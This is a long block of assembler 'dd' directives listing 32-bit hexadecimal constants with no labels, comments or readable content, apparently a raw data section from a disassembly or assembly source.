		dd 0B40C09h, 2C64FB32h,	0D96D3C6Fh, 0ACBBC800h,	4AE8B7D5h
		dd 6743001Bh, 352E9F7Eh, 0B47F21A9h, 3BA7460Bh,	1620000Dh
		dd 0EFB743h, 7E2DC59Fh,	10802A5Ah, 0C00C9A00h, 0E233B5CDh
		dd 587101E6h, 15C949E9h, 7F8FD0EDh, 9DB0C03h, 0E839AD2Ch
		dd 0D2FE44h, 3264209Dh,	3A43625h, 61C6FA0Ah, 1E82B8E2h
		dd 0A0469E57h, 63B884ACh, 0F932015Eh, 0E7387BA8h, 2EE450EDh
		dd 41006258h, 30553E1Dh, 3623B7h, 60BFEF75h, 7AC23F91h
		dd 2A419E00h, 776E628Eh, 0AE3900D7h, 32506F07h,	6A00041Dh
		dd 9DC9AC21h, 3D31B1E6h, 48834EBBh, 87F25753h, 0F7CC9990h
		dd 97543E00h, 4112A48Fh, 10AF0FD8h, 21207B01h, 33A176A0h
		dd 0F83E2C03h, 0E86E1D78h, 905189h, 0FA9825C3h,	14BAB1ADh
		dd 0A4FBE800h, 760BE8Eh, 977400A5h, 0AFC2C602h,	0C4003842h
		dd 4D5A2DD4h, 1364C00Bh, 46B403h, 0B248375Ch, 6313C4F0h
		dd 44437D58h, 0C890B134h, 0D45356h, 11626EBEh, 0FE458FAFh
		dd 29844D13h, 0F35CB801h, 0FCFB9C34h, 0DB486480h, 222C0044h
		dd 19607BADh, 0FD1D928Eh, 0F4C15B45h, 0DB07CBB2h, 0B8868860h
		dd 0CF280070h, 0E7C6A1B5h, 40D9B67h, 891C1988h,	1847ECE1h
		dd 5E591F10h, 7208C360h, 1878E09Dh, 3B101760h, 61A52269h
		dd 470D205Eh, 7EF300AFh, 0E73E06A1h, 0E1A65C54h, 20C37206h
		dd 1E518A35h, 0A9CA0Fh,	0B982E7D6h, 2C7107E6h, 89CC63Ah
		dd 414C0D97h, 0D5A67753h, 90B807h, 0F205D35Fh, 35426DCBh
		dd 887BD6h, 78EA35A0h, 0B42C0D7Eh, 5F007C38h, 3BB379FCh
		dd 51AA65FEh, 0A10438DAh, 57C2CA0Dh, 0BD11133h,	2BB2F8h
		dd 0EFDB05A7h, 0E69E8695h, 7ED7A058h, 6AF09600h, 0A33313E9h
		dd 40F1DD3Eh, 1D8C2419h, 86F644A5h, 0D8E0BB00h,	79AEDB35h
		dd 9C5118B9h, 0DEF320ABh, 965ACD0Ah, 13702099h,	9B088CBEh
		dd 7B26031h, 9C7AEB5Eh,	8A7C45C9h, 0D00E2D1Fh, 6D3A5A80h
		dd 3E37BDDh, 0F8CAA490h, 0E87F8024h, 826A5400h,	499F2C2Fh
		dd 36D703DEh, 0D17A3C13h, 38A1F001h, 0B96B44E6h, 33AFF3DCh
		dd 8069E4B8h, 889C67C3h, 9200AA60h, 6F159517h, 3A0D388Fh
		dd 0B430B5C7h, 169A6721h, 8529CF01h, 0C125B004h, 0F20D36F0h
		dd 47980094h, 0D1A1759Ch, 0C8A0B19Fh, 395454C2h, 0DC01B4C4h
		dd 8F35AC30h, 14642F87h, 2A69E84Ch, 0E0D42Bh, 94CB97BAh
		dd 7C7042Dh, 0C6DC321Dh, 9521603Eh, 3835CBE6h, 610E7596h
		dd 1503B4D5h, 0D023F52Ch, 169B076Ah, 12C8FD90h,	4A20B168h
		dd 0FE1783h, 2602DC0Ch,	541DA56Ch, 0F1D18D00h, 3C0493Ah
		dd 0F9D0A31Eh, 1820B5BBh, 79400289h, 6F2CFB2h, 80D3B448h
		dd 600471F4h, 88A63BC7h, 0DC44F2C7h, 68CC4C90h,	6C5C1279h
		dd 0FD420CAh, 3001F97h,	5EF51D9h, 834DE4h, 0D4E6E67h, 8CE525B5h
		dd 0E4A0D4EEh, 7900FF98h, 84AFBEA2h, 16AAB49h, 0E3B5B70Dh
		dd 204A0447h, 22607C28h, 5E9E60B0h, 493580C1h, 34A4E424h
		dd 318DB832h, 605FE882h, 0BB58D721h, 6A01CAC4h,	865E9779h
		dd 5080AA76h, 564417A1h, 3AEFFE32h, 0CD84C985h,	0C800E856h
		dd 9B7D4670h, 0D5E73A76h, 28086633h, 68F2F903h,	0B0361E46h
		dd 0C5CB58C2h, 40B68339h, 7B8101CCh, 70000844h,	1C998990h
		dd 0AE9338h, 3266FDA7h,	157CBCF3h, 0D0FE8C14h, 882C0A90h
		dd 646198E4h, 5181A080h, 405D651Ah, 9339E8E1h, 3204D877h
		dd 0C9A9A766h, 0FE3024A4h, 9E33015Bh, 0E084837Ah, 77182413h
		dd 9262591Eh, 0C19CF30Eh, 0A41B976Ah, 0AE9CD9BBh, 62E68A9Fh
		dd 46321194h, 95D454BCh, 0B7172EE4h, 22006F7Ch,	34E83A8Fh
		dd 0CBCCA1DAh, 65F47C18h, 3C676010h, 0C880E9C8h, 95A47964h
		dd 708C015Ah, 0E24C3FEh, 1A21BEF1h, 81D920CCh, 10024299h
		dd 88EEC4h, 80839456h, 1FCB199Fh, 87A51B3Dh, 13715049h
		dd 58C19B37h, 97F21E07h, 8FEE114Ch, 3716806Bh, 11082317h
		dd 0D8F576h, 4583EBCBh,	0EE89ACh, 940F7760h, 0D461EC6Ah
		dd 4C81EF00h, 5FF280D8h, 9F1D26A7h, 0A0C90030h,	4A5BE794h
		dd 0A6DF5614h, 5DC42B0h, 0AA74195Dh, 422B413h, 0DDF761FCh
		dd 608862FEh, 88459A00h, 6E6A2725h, 467488D1h, 0ED1A02F0h
		dd 0E0571912h, 2649B7A9h, 1FBCD808h, 944105Ch, 998AD94Fh
		dd 0AE1863B4h
		dd 15911604h, 9E32B68Fh, 16964B20h, 60950014h, 27726E31h
		dd 931B125Dh, 3AC91E5Ch, 0F5401178h, 0B1C10B62h, 63CB4075h
		dd 90AA076Ch, 0C4FDFB5Eh, 0FCD09996h, 9B7F7C46h, 21CC608Ch
		dd 78465BF9h, 5902C091h, 818E1849h, 858AC2B0h, 0D5C6A841h
		dd 73201A08h, 1674A0D4h, 18F5057Ah, 0CF61B7h, 0A2C274E0h
		dd 34007265h, 0A5AF54B3h, 0D682Eh, 0B2D28F07h, 31A3DBECh
		dd 0F2682AD8h, 0A87E2885h, 0E38580F4h, 0A69C912Dh, 0B046745Ch
		dd 220F0771h, 0E06E2B99h, 37FBC85h, 0C1B72A09h,	8F1401F1h
		dd 3465D973h, 0CDB92041h, 981AC080h, 835C632Eh,	143A5277h
		dd 0C4A82602h, 210B4800h, 0A032B244h, 0E727988h, 0CA257E26h
		dd 88CD83E4h, 0DB79D7C4h, 680F2A00h, 657E5459h,	0C642050Dh
		dd 4D6794Ah, 0FA97880h,	647AE1ABh, 0A870549Ah, 0F9E712AEh
		dd 0E6580877h, 2C807FC5h, 0B158DF60h, 67C5603Ch, 60FD7B79h
		dd 0C27CE14Dh, 1881A0A9h, 161677B0h, 2CB67F15h,	98034DFCh
		dd 2DA9D416h, 2891F22Ah, 8D9F84A0h, 341300D5h, 0C3A824EEh
		dd 0E63DA7E8h, 728B280Eh, 190E2017h, 240DF64Ch,	0BE48634Ah
		dd 0D3C6DD0Bh, 0E06A1886h, 0F479E446h, 0D8606862h, 0D59170h
		dd 917981B3h, 1297E8F1h, 20D24415h, 8B16F90h, 0F8706D81h
		dd 0BD630B51h, 408234D7h, 7411334Dh, 0CB048E18h, 0C6EC2D8Dh
		dd 9820C332h, 949CBE9h,	0F2E21F0Bh, 5E791405h, 934A8F80h
		dd 0B3FD0DE0h, 90006B82h, 9DA75D7Ch, 0B986FB4Bh, 18D7D11Ch
		dd 984A0149h, 75776E1Bh, 0F9343138h, 0B7E9802Bh, 36AFAE44h
		dd 0B23AF815h, 0DD2A0388h, 0BE565E8Eh, 67A3F901h, 5B384D0Bh
		dd 8917848h, 942CAECBh,	38E89370h, 0BA0139CBh, 5D56988Bh
		dd 0E2C891B2h, 70427B8Fh, 0D49C7F60h, 7963A102h, 0A97838BBh
		dd 98897D88h, 0F3807CB7h, 0CC919038h, 5CA30F7Fh, 0FB650767h
		dd 68E84887h, 0A93B80C9h, 94C6CC2Ch, 0E5945028h, 6D7ACB00h
		dd 3857A831h, 41192EA1h, 93A501A5h, 249A8052h, 9B00EE84h
		dd 1ED79121h, 1E2DB9CEh, 0CE7E97C5h, 65C21AABh,	0B46431C2h
		dd 8884FB1Dh, 0A8A1A542h, 52C8912Ch, 0CC65FA12h, 0D60D0E4h
		dd 6401B467h, 28266B04h, 0EC459A9Eh, 2715B809h,	56416278h
		dd 0A031B1BBh, 4DE021F0h, 3018E0BCh, 29A1513Ah,	18DB8C31h
		dd 21E2B058h, 0EA2B5A34h, 0A2590A0h, 0B00B34Bh,	0FB9DD853h
		dd 0A3CD93h, 410DC9D2h,	326E103Ch, 21B05709h, 6D9480CEh
		dd 0E249258Dh, 1E0B262Ch, 983288E8h, 0C849A11Fh, 2974A3D3h
		dd 2D55F8F4h, 108B287h,	49DADBACh, 589C8AFEh, 46507190h
		dd 90AC6EB7h, 0DFCA44h,	0DEA94669h, 4F225E48h, 0A460D670h
		dd 137B09C9h, 0F7620005h, 0C590E7CBh, 5F00AD96h, 0D4D1E0E2h
		dd 17C01388h, 21B7FF58h, 0B004E0h, 50EF265Eh, 0EDCC60B4h
		dd 97EAF200h, 9EFC5601h, 0DB3B6D5Ah, 0F34471A8h, 0CB088C18h
		dd 0C4DC2C9Bh, 0E79A40A8h, 976ADFCBh, 9F74C8D8h, 1ADE1717h
		dd 0B1C85804h, 2328E602h, 58083051h, 0CBE1FA9h,	2919AD2Bh
		dd 77F9B2EEh, 1EFBA1E0h, 38381320h, 0E00E119h, 85841F5h
		dd 78092F5Dh, 40723C13h, 266F54B4h, 4F4B88Dh, 0E7AD7C8Ah
		dd 0BD3208Ch, 0A442782Eh, 5660ECC0h, 0A7B1AF60h, 5085B031h
		dd 27E3A81Ah, 0D0396290h, 203C04DAh, 408B4609h,	8D41CFD8h
		dd 3095B442h, 8110465Ch, 0F6E1969Bh, 26C02E74h,	0D240C4h
		dd 0B93B09FFh, 0B76C21A3h, 1B010892h, 7C7E08B3h, 1089789Fh
		dd 0A025A880h, 79708033h, 0BAE614F5h, 0D45E3601h, 88469C38h
		dd 8CD44931h, 0A42D288Fh, 0AC5C5C9Ch, 450D6402h, 40E88E59h
		dd 9049725Eh, 3E247610h, 958B4087h, 0F3B8908Fh,	0F0A10378h
		dd 9D8408F2h, 9A078100h, 93B5EA51h, 53A9008Ah, 190B96Bh
		dd 0CF24E848h, 0C70544B0h, 5C80DB79h, 1E5EE30Dh, 0B8DA214h
		dd 0DCAFE5A7h, 2E503380h, 0B27CE68Bh, 13619860h, 7E80321Ah
		dd 0D2A22611h, 22EC0074h, 25D96066h, 0DB4F0AFEh, 0C48C0053h
		dd 6DD300DDh, 6B787D74h, 3118DB95h, 8F598D85h, 3528008Ch
		dd 6E78F27Fh, 0CF3DDB18h, 49C980C8h, 0A0307DF1h, 0AEF638h
		dd 31C39951h, 0A942D51Ch, 27F8F61Dh, 82F17401h,	0D37829h
		dd 38548718h, 8F7A753h,	0EF763B0Fh, 9A7D002Dh, 6F40591h
		dd 5F8FDC85h, 8060082Eh, 917F1C21h, 1A57029Eh, 3A02586Ah
		dd 0F8D01A40h, 755D9318h, 81F7D469h, 112DD1DBh,	160C508Ch
		dd 4E1912Ch, 64113421h,	917AB80Eh, 2E85AA0h, 0C818F3E0h
		dd 2AC899FBh, 634B00F9h, 7F8BA945h, 3C32192Dh, 0B5AD70F5h
		dd 0D7BF0E34h, 0CDF18D81h, 526FECE0h, 6D90D0ECh, 2A2C4850h
		dd 65DC191Bh, 29B1F078h, 43610124h, 0F4325554h,	2F68F8D8h
		dd 31470303h, 0A838A741h, 1EA46097h, 8CC402C9h,	0F90809B0h
		dd 716FCB0Dh, 42F02A19h, 18D8600Bh, 920E6402h, 48CEC703h
		dd 8656FF15h, 214D6008h, 0DE91F695h, 0B017F00Ch, 0FAC5116h
		dd 58D374E2h, 0A0B19EE7h, 0A777CF93h, 0C71B1A03h, 0F9FC5137h
		dd 49806710h, 0D2D070ABh, 2C0F6177h, 296087h, 0B6CEAABBh
		dd 8AE24C6Bh, 0D318FC3Eh, 3227C1F4h, 504CAB00h,	0F94B7804h
		dd 0C0159855h, 5661C450h, 0A401254Ah, 0ECD820DBh, 2DD11F33h
		dd 3E2A2180h, 0C2B8994Ah, 678E9500h, 1DF417FEh,	0C9036351h
		dd 31E6CCADh, 53478D1Bh, 0B04CD480h, 0B300F909h, 0EAA51CDh
		dd 0CEBA45Ah, 0F799401Eh, 88033C21h, 0B12760B2h, 57A8233Dh
		dd 0B4A4003h, 191F92A4h, 282C1088h, 36851D4Ah, 0D9B141DBh
		dd 700CA112h, 9B30E3E5h, 0B606296Ah, 9DF299h, 0F2ABFBDEh
		dd 0E623F807h, 6C7A1E00h, 6103476Ah, 0ADA307E5h, 823341C3h
		dd 0A8939919h, 0ED14BEB0h, 77DC4F07h, 8BC7865h,	0E21C0FAh
		dd 1A761456h, 0B0EAA100h, 84907D58h, 0D9BB88E5h, 95777200h
		dd 248316E6h, 5A662738h, 6FC99CC0h, 119BF11Fh, 0FC4F88CAh
		dd 0CDC06186h, 602CF841h, 88CF19C3h, 0E3F09515h, 0EFB022h
		dd 39A63222h, 0F5852730h, 8978733h, 6C2105FBh, 0C349A619h
		dd 0B2A06B17h, 8106AC75h, 0F3E7604Dh, 0E3590669h, 0E04A4C36h
		dd 25845150h, 14C2048Ch, 62BC5009h, 0DA1220FDh,	9438FF14h
		dd 0C0A08019h, 0E5FEAFD8h, 0C1D6622Ch, 10616640h, 0C8BC4655h
		dd 261FF746h, 0A3309FA6h, 0C800FA11h, 2717A60Dh, 640F2DCBh
		dd 0E49BE22Fh, 748E3E05h, 0C2C23B88h, 7532C05Bh, 0E34B0368h
		dd 815DC656h, 305820A0h, 6550B3Ch, 8AEBE232h, 4454A768h
		dd 0A2356037h, 60780AC1h, 42ECCFC0h, 2424C931h,	6BE5D887h
		dd 4923302Eh, 0F8E9833Ah, 0BF229FB5h, 0E281984Ah, 8013D41Dh
		dd 0E28DBED0h, 804C9123h, 0E9015D26h, 97F2D33Ch, 0ACC0AE00h
		dd 870AC7F0h, 9222062Fh, 31E684B2h, 0D8B5513Ch,	91DE18C5h
		dd 4A04336h, 3680B10Ch,	8E188E0Eh, 33C13003h, 60815FF9h
		dd 24071995h, 0AD5710CFh, 0A48826B0h, 0E7F000B9h, 0D891EC23h
		dd 8B125CA6h, 5400B26Eh, 0CE6A0E89h, 0F8AF4808h, 0F3D7880h
		dd 430F80EAh, 826C7DA3h, 4CF6C394h, 0A61D0434h,	621F303Ch
		dd 24C920FFh, 780144A6h, 0CB362F3Bh, 61A06CEBh,	2BC46D0h
		dd 0A41E4A43h, 104E3123h, 4A2B13h, 80E877C8h, 73665BFAh
		dd 0E9814C04h, 88857Eh,	8B1D008Dh, 0E79E5FB1h, 8E0AEBCCh
		dd 0AC67C8B3h, 0BB8F1411h, 0E34FDD1Dh, 39000111h, 3BA71453h
		dd 33185E19h, 0FD96DB0h, 0F271C03Dh, 95CF3F62h,	494C9A0Fh
		dd 30298B2Eh, 38920970h
		dd 2246CEBCh, 1184005Eh, 83B94B92h, 0BB1DBC89h,	30A8E64Ch
		dd 0F4A46126h, 58322340h, 0E4DF3BB2h, 4EE8D448h, 2825008Ch
		dd 8982267Fh, 230050BBh, 24D67847h, 0F04352EDh,	984E3022h
		dd 3EBBADE9h, 448441CAh, 2153900Eh, 3B0FEFFCh, 0D3EEA980h
		dd 0BB96E05Fh, 0DF8C8500h, 1C58294Ch, 88271E09h, 0E80306AEh
		dd 0C41E319Bh, 1A5532F2h, 14C580C8h, 8C94500Eh,	3B21FC60h
		dd 39DD14BDh, 0A6007293h, 0A8D2B73Ah, 0E030AE42h, 0C7225938h
		dd 8B0B105h, 848C6CE1h,	7EB549D3h, 0D2F70246h, 3E9FBE03h
		dd 0B110A060h, 0A6233E86h, 392F3016h, 0A60ACC04h, 0E51F08E4h
		dd 7F426F58h, 0A262524Eh, 25C406A0h, 4C4005CCh,	0F4C0721h
		dd 0D8004868h, 62950CDEh, 3F452h, 29DD897Dh, 0EA7E5BC3h
		dd 0A00081E4h, 60949831h, 5820D26Ch, 34F8F454h,	0B140008Ch
		dd 0F3423BCAh, 0A664D243h, 3C609348h, 0A4241F4Ah, 8073C42Bh
		dd 0F04A24h, 0C1042C69h, 3FC806B0h, 44635E2Ch, 18CE4674h
		dd 2119CE0h, 79A09142h,	0CA7184Dh, 0B3B02F2Dh, 0EC009449h
		dd 0A0F8B1EEh, 905DCFh,	0CC85912Bh, 5FEA2E0Dh, 3E524171h
		dd 91F20134h, 13E8CEC3h, 89C6D422h, 3D0042FAh, 5D11494Ah
		dd 0C4B27B22h, 8C60E271h, 0F2453D4h, 453C442Ah,	0BE2030h
		dd 4709325Fh, 2037B94Ch, 4008FF00h, 2C2B66B8h, 0D8E4B11Fh
		dd 86C401h, 0D90A941Bh,	0CBAF9178h, 80C0B24Ch, 0C8534212h
		dd 30CE0FBDh, 0A6E06C59h, 89F6738h, 6E7F3B01h, 2E58ECB7h
		dd 4AC8884Bh, 94178FC0h, 30F400F5h, 0CA121BCFh,	0AE043E20h
		dd 0E8596210h, 64798882h, 610A3028h, 3DABBC41h,	50272B8h
		dd 0EDD1FA7Dh, 37E5602Eh, 0C4E80239h, 3F523B0Bh, 18D95041h
		dd 314A0B3Ah, 0E41C3BA4h, 74422624h, 0BCB0F006h, 927F2962h
		dd 180479ACh, 0FD7C00DCh, 9C1B629Fh, 10305AA9h,	4E30C150h
		dd 0FA7E08Dh, 9A7911CAh, 0AEC20881h, 0C7898024h, 0ADD6ED2Eh
		dd 0B7675807h, 77BEF804h, 2150A639h, 8C8790C1h,	8C52F80Ch
		dd 18114AFAh, 358833A4h, 4A290180h, 69781DF6h, 800449D4h
		dd 1C72822h, 7F253EF1h,	0D0CCE0EBh, 72EF1481h, 0A1C90050h
		dd 0CE56A766h, 9F203C60h, 0DB785304h, 0F2E0B2A0h, 0A610305Ch
		dd 79FB8600h, 0B3921F55h, 99656149h, 80AD5322h,	0ACCC5AB1h
		dd 0D19DE8h, 7E6947C1h,	5F7DFC0Ch, 60C2EC00h, 55F7CDD6h
		dd 0C5750756h, 63320E26h, 71023E10h, 0E796865Ch, 3F6CC055h
		dd 1A7F001Eh, 34B09456h, 6C5043AEh, 774513Ch, 310AD80h
		dd 8C322E7Eh, 88BD62BEh, 6800DFC0h, 427F6C4Dh, 4A605B59h
		dd 27F441C0h, 0EC80B0A5h, 31C0540Bh, 0CBCE7D44h, 0E65700A9h
		dd 2FB42A2Ch, 0A801B53Ch, 1605E2A7h, 1830BAFAh,	30988D1h
		dd 22845701h, 0B18795D8h, 90F91980h, 0CB385FC8h, 12D083F1h
		dd 2242C07Fh, 0EC3A6AC8h, 997D0090h, 0EE1DD89Eh, 31F200F6h
		dd 4B241A47h, 0AE184ABEh, 0F73136CCh, 0B8B754AFh, 51FA0066h
		dd 3E1E207Eh, 0EF0626E5h, 57AE3CCDh, 0C1C43BD1h, 8498C7BFh
		dd 0A25C99CEh, 0BF55E00h, 2DC6E1A7h, 0AAF30C9Eh, 25988E8h
		dd 8D402494h, 6E8699h, 7EF42C5Eh, 122D4903h, 15A5F013h
		dd 0B1690820h, 59BA0085h, 387663C6h, 5B0057CEh,	0A0274CAAh
		dd 326FEE2h, 2E5DFFA5h,	0E699B5A1h, 57D44834h, 24058974h
		dd 0A5594048h, 0CC5D2280h, 946B529Bh, 0FE8D0F70h, 0F280C323h
		dd 7D82D1B3h, 0E81855EEh, 0CA2951AEh, 0C1DC03EBh, 0CC6B6C23h
		dd 7111C0F0h, 449EB600h, 0ED1E22FBh, 46CA0FF8h,	780B12F1h
		dd 0C187F810h, 579BD500h, 0E4D8BE79h, 0CEA5860h, 590B5883h
		dd 12EFB100h, 8F90C108h, 1CBF013Fh, 7FD2CAB8h, 0B6B447C9h
		dd 65E6F812h, 98A22F00h, 23DFD1D4h, 51CA6084h, 78BD6ADBh
		dd 0E8737B70h, 60FDA809h, 44A8C9E5h, 39D891h, 0D6FE6ADDh
		dd 3C72359h, 8504F18Ch,	88957FB3h, 0EC004B18h, 37EAC275h
		dd 1D74C80Ah, 9124A2h, 95EF31FEh, 1A02195Eh, 0F6C5D429h
		dd 0E68810Ah, 0FEF4158Dh, 0CBE00091h, 46175A36h, 6C04A44Ch
		dd 2EF388D7h, 711EC8F2h, 186D4792h, 271AA069h, 7939CD6Eh
		dd 8E218013h, 0D46FBA6h, 92D20054h, 0B6471A9Dh,	22744B88h
		dd 89432F00h, 56DBB23Ch, 3479581Eh, 3827742Dh, 0F7CB0E8h
		dd 9500E1A8h, 4E10E95Ah, 58A42D73h, 3D00743Eh, 0E3142147h
		dd 4A0378FAh, 6BE5EFCDh, 1EA1033Ah, 0E312AAECh,	5547BFA0h
		dd 80D89F48h, 0D21D5E4Ah, 0F9E80071h, 7B882E75h, 0E23CC1EFh
		dd 87E90CCCh, 3E6149D4h, 5600D5DAh, 7E352E9Ah, 27247B99h
		dd 5D1CE842h, 0E9C0DE9Dh, 1F027456h, 40844E1Dh,	0D4BF346Ch
		dd 0A9E8EDA2h, 3671CB03h, 268E79A0h, 1586468h, 2CE5F616h
		dd 44AF124Ah, 3C07C64h,	4E01CAAAh, 6B98821Fh, 39008F27h
		dd 0E98ED87h, 7E6479h, 1DABB1ECh, 60CDF4E9h, 6C52E74Eh
		dd 0F0214430h, 0E07200D7h, 0BDE6D6F1h, 10B8BE24h, 44EC1D00h
		dd 47945888h, 3B4F4410h, 34499C00h, 0D5761A11h,	50400BA0h
		dd 7848AEDAh, 0A9013D1Ch, 5FF15E55h, 1980239Bh,	0F4F0BCB7h
		dd 0E2F6D30Fh, 0D4F69DE8h, 4E798003h, 0F3FD6A9Fh, 46690055h
		dd 814C6E97h, 0CC384FA7h, 28F582DAh, 8140250Fh,	0D04575ACh
		dd 0B9D91D0h, 58FDE329h, 3AFB181Bh, 0C3B6CC90h,	3F8D8209h
		dd 2444F7h, 96848962h, 87C0EC5Bh, 72560A00h, 23E61552h
		dd 1A499B0h, 3AFA4EBCh,	0B001FF09h, 2ED77477h, 706018C5h
		dd 0AA4A91Ah, 16289048h, 65B946h, 0F5C532B7h, 0DF09B5F7h
		dd 10AFFB0Bh, 7E92B3C8h, 201F3D15h, 7C511400h, 0B1F71BBCh
		dd 37983902h, 0E35BA3E0h, 0B3B5F09Ch, 20755B10h, 0E1193594h
		dd 0F0439A00h, 904621A0h, 105F01B8h, 33FC5407h,	3FA8201Ch
		dd 9F503CE7h, 3CABE4C0h, 1C4C52A1h, 0C2A79C5Fh,	0AE897A7Fh
		dd 0B5F3D490h, 0A5193E00h, 0FC28BB84h, 0EBB60096h, 85B2F165h
		dd 0B223953h, 104A1F5Ah, 3008809Dh, 6FB45C77h, 7F57EC00h
		dd 17810993h, 0A68F124Ah, 88C40446h, 24048D6h, 37F08684h
		dd 54277842h, 0C931802Ch, 0D77AAA2h, 0FA39C000h, 0C212DB62h
		dd 1C698824h, 20E46000h, 6D864364h, 0A1321E56h,	7B49B084h
		dd 400DEF9h, 7C0613BCh,	74D393h, 181D55F5h, 9A19715Ch
		dd 0A126D500h, 9B2714E0h, 59201E48h, 44D02EAEh,	96F687F0h
		dd 0CD00111Fh, 41A17F46h, 6253ADh, 0DE936EE3h, 36BA8F0Eh
		dd 8EF49948h, 0B157E7D2h, 3C2A2EC0h, 3A1712Fh, 606B4C18h
		dd 2902F6E6h, 0C1BBEA8Fh, 4079D0h, 0B4E86E51h, 0E9167C7Ah
		dd 0D430D1B5h, 16C95466h, 3199033Fh, 40DCBC70h,	66A2FCB7h
		dd 79144E1Ch, 5F0747A6h, 2057260Eh, 28EF0F6h, 45C13E32h
		dd 78D11333h, 0A701DB26h, 0EC3FB4BBh, 0E5C5FC8h, 366D8B79h
		dd 297CD820h, 2601EFC8h, 4A1FBAA2h, 54299B3Dh, 0CC38D33Eh
		dd 5ECE7000h, 0B8F8AA7Ch, 0A954E600h, 9AD394DEh, 99FE29D1h
		dd 0EDA00D0h, 95375FB9h, 22869F00h, 979DB45h, 63C90007h
		dd 0FA962AD6h, 30397752h, 0DD4380EFh, 61253AAAh, 0B4A4BEh
		dd 8CC08829h, 0F2651615h, 80F4AF48h, 77BF5C68h,	4A9E0037h
		dd 75E1A6Ch, 4F08B599h,	80D0B2ADh, 0C14E1B55h, 3207524Ch
		dd 79BC223Ch, 8896B620h, 41820E35h, 7C4003E3h, 10AB6CF6h
		dd 107758h, 87CB8FB5h, 298D95C0h, 9DA819D6h, 0AA823C22h
		dd 85C6F63h, 62F01243h,	0B500E803h, 5F2AA4C0h, 4CED4A47h
		dd 6A80A09Bh, 6287BBBAh
		dd 3E9C96h, 0DC8E73E5h,	410E8CDh, 48B3B4F6h, 385134h, 72DEA765h
		dd 3C76A6CAh, 0EE004233h, 0A9D6CC4Dh, 3B3A4F22h, 0A8B3794Eh
		dd 0B2919607h, 61367640h, 1A241C74h, 11E18057h,	2E7CCCE9h
		dd 0B0E64FB0h, 0E989454h, 0B9DEBA00h, 0CAB7E3F7h, 0D3440386h
		dd 6BBD304Ah, 7E0158AEh, 0D260AE71h, 2864E4BAh,	0F0CF749Dh
		dd 50364C93h, 803F5B14h, 76433D00h, 49F31BAEh, 25502748h
		dd 95A0A099h, 301DE561h, 0B4508F43h, 0CB49BC5h,	5DCA1280h
		dd 0CB2F1Ah, 0F5AE2ACEh, 2865F867h, 72B38307h, 1DB6C541h
		dd 0A0A30031h, 0A11C14B7h, 0DC3CC9CFh, 94C68118h, 3CAE794Ah
		dd 0CE1B2980h, 736BC784h, 9B98A700h, 0D295C8A8h, 9C21003Dh
		dd 23DC094Eh, 383D07F6h, 0A227001Ch, 0F2795995h, 58472C06h
		dd 78A43B54h, 839F10F8h, 986CF320h, 2E7CE93Dh, 24AF3Ah
		dd 18702A84h, 2C00D8ECh, 0C075F069h, 7C49DB1Dh,	40D4B42Dh
		dd 3EB6B4E4h, 0EBBF7007h, 29F05DAFh, 0A808B121h, 0E22CC0ECh
		dd 2B8C1E65h, 0AE6600A8h, 306059D1h, 432CBC94h,	68AAB109h
		dd 76EFD18h, 7FEF977Ah,	0A6EC7128h, 0F4F83057h,	29AEAF30h
		dd 0F89340Fh, 91ACE80Ch, 47D05A20h, 46013A23h, 0D13194D7h
		dd 44406622h, 0ADA60E2h, 8C938348h, 167E0088h, 84C873FAh
		dd 0F50910EFh, 0E8AD0060h, 0EC21FAAh, 0F8074A64h, 0BEA1E5B1h
		dd 4048AEE1h, 4901742Dh, 3FDC2557h, 446210h, 1922FB23h
		dd 0EF487DFh, 0A9A81ED1h, 7C6043EFh, 4E1D7A2Ch,	9A007C91h
		dd 0AECA1E4Bh, 35A60256h, 295567F7h, 697ED880h,	0CF01320Ch
		dd 376E3421h, 682D1059h, 0E10A5E00h, 0CB1F4874h, 0B3176300h
		dd 0CD14A25Ah, 3E6B0E44h, 0C896E5FCh, 5884C0F4h, 1F222C56h
		dd 74420B0h, 168B2582h,	4902AC64h, 9C4ECD83h, 0A37C80AEh
		dd 127188D9h, 0FF0456h,	3CAD89A8h, 0C00FF5E9h, 2CE670B4h
		dd 1479D7h, 1DC15FBEh, 607A47CFh, 94B0B958h, 70B6C0E4h
		dd 0FC56EA03h, 710E00A2h, 525A9D30h, 42137A6Ch,	188854AEh
		dd 3FD73A48h, 0C20CB009h, 1905A810h, 0B673C090h, 0F53D2F00h
		dd 0A994DB68h, 0ABEB064Ch, 71FDB08Dh, 0BC002F7Ah, 2D71C69Ch
		dd 2EFA60h, 131F56BDh, 0B4AAA3E2h, 0B8D17800h, 7BDFA5DEh
		dd 2B8E065Ah, 10AC4435h, 0E9A3CD00h, 0BB73D1C6h, 28B8F184h
		dd 523BE207h, 0D26E04Fh, 4802C8EFh, 0C9FBFA01h,	0A3EEC0FDh
		dd 0C3BC0BE4h, 62005570h, 0AC24CFD9h, 58D2E832h, 8B9E60A5h
		dd 0C5B017Eh, 0BC59E5AFh, 0C885D474h, 0D1114106h, 1399E1FFh
		dd 37D27h, 0A6F58F97h, 0CC63825Ah, 733BA49h, 3A37D199h
		dd 8EBE50B0h, 4E3CB99Bh, 72EDD81Fh, 3C3CD450h, 0E5B35100h
		dd 0FDE0B590h, 7E5A1886h, 0B90D21DCh, 0D1E8AF18h, 0FE35AC11h
		dd 12320398h, 0E228AAB3h, 0D96A9400h, 2AEB973Bh, 0B9EA18F2h
		dd 0F3D58986h, 0FD8BF103h, 0F0A9F9FFh, 84A835h,	0F0AB5D4Bh
		dd 0D193A7CAh, 9E0D2C0Bh, 0F81D8062h, 0C75BB3D0h, 0C6C62DF1h
		dd 40F6517Fh, 0C759A02Eh, 57927A00h, 63945DBh, 0BA473C29h
		dd 0C500292Eh, 7D85EA87h, 0A1DB48h, 6324C44Eh, 0E8C68375h
		dd 252DDC01h, 485AE7BCh, 0BD5F7840h, 0D0A01494h, 1780B8B5h
		dd 2D478791h, 972A7F0Ah, 3743C4C6h, 89D1E8E2h, 7C5C7B43h
		dd 0F7DA80C9h, 6C0A107h, 1D80AB96h, 283BD3E0h, 645FC6h
		dd 0EAD84043h, 8D55117h, 0F0A2FF0Fh, 80033E22h,	0E07BA688h
		dd 0C04D3506h, 0A0C6CD71h, 1B5C246Ch, 1F272C45h, 162D3D00h
		dd 50D14D2Eh, 0FA4A0F7h, 40873581h, 0D0D9CD4Dh,	25006864h
		dd 0A67DB4EFh, 0FF5EF4BFh, 0BC9E9Eh, 0A3174198h, 12007454h
		dd 20FF0E5Dh, 638CE913h, 0D6438171h, 0E044C4F9h, 0CE009E12h
		dd 0AEF53EE3h, 8D71FDh,	0FF2DF67Ah, 0CFC006B3h,	5AC6760Ch
